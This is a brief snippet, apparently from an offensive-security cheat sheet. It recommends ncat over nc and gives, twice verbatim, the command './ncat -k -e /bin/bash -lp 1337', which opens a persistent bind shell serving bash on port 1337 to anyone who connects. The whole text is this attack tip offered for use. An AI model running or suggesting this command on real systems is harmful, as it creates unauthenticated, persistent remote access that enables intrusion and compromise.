ncat
Instead of using nc for reverse shell. use ncat for bind shell. it will keep listening on this port forever.
./ncat -k -e /bin/bash -lp 1337
Instead of using nc for reverse shell. use ncat for bind shell. it will keep listening on this port forever.
./ncat -k -e /bin/bash -lp 1337